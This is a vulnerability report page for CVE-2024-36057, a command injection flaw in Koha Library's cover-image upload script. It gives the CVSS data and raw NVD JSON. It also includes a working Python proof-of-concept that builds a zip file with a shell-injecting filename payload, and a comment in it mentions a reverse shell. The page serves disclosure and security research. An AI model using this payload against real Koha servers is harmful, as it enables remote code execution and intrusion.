Security Vulnerability Report
中文
CVE-2024-36057 CVSS 9.8 CRITICAL

CVE-2024-36057

Published: 2026-04-07 16:16:21
Last Modified: 2026-04-09 14:16:25

Description

Koha Library before 23.05.10 fails to sanitize user-controllable filenames prior to unzipping, leading to remote code execution. The line "qx/unzip $filename -d $dirname/;" in upload-cover-image.pl is vulnerable to command injection via shell metacharacters because input data can be controlled by an attacker and is directly included in a system command, i.e., an attack can occur via malicious filenames after uploading a .zip file and clicking Process Images.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Koha Library < 23.05.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2024-36057: Command Injection via Zip Filename import zipfile import sys # The command to inject (e.g., create a file or reverse shell) # Using semicolon to chain commands in the shell payload = "; touch /tmp/pwned_by_cve_2024_36057; #" # The vulnerable script expects image files, so we disguise the payload # The filename inside the zip will look like: image.jpg; touch /tmp/pwned... #.jpg malicious_filename = f"cover{payload}.jpg" print(f"[*] Creating malicious zip file with filename: {malicious_filename}") # Create a zip file containing a file with the malicious name with zipfile.ZipFile("exploit_cve_2024_36057.zip", "w", zipfile.ZIP_DEFLATED) as zf: zf.writestr(malicious_filename, "This is dummy image content.") print("[*] 'exploit_cve_2024_36057.zip' created successfully.") print("[*] Upload this file to the vulnerable Koha instance and trigger 'Process Images'.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-36057", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:21.390", "lastModified": "2026-04-09T14:16:24.570", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Koha Library before 23.05.10 fails to sanitize user-controllable filenames prior to unzipping, leading to remote code execution. The line \"qx/unzip $filename -d $dirname/;\" in upload-cover-image.pl is vulnerable to command injection via shell metacharacters because input data can be controlled by an attacker and is directly included in a system command, i.e., an attack can occur via malicious filenames after uploading a .zip file and clicking Process Images."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/hacklantic/Research/tree/main/CVE-2024-36057", "source": "[email protected]"}, {"url": "https://gitlab.com/koha-community/Koha/-/blob/23.05.x/misc/release_notes/release_notes_23_05_10.md", "source": "[email protected]"}, {"url": "https://gitlab.com/koha-community/Koha/-/blob/23.05.x/misc/release_notes/release_notes_23_05_11.md", "source": "[email protected]"}, {"url": "https://koha-community.org/koha-22-05-22-released/", "source": "[email protected]"}]}}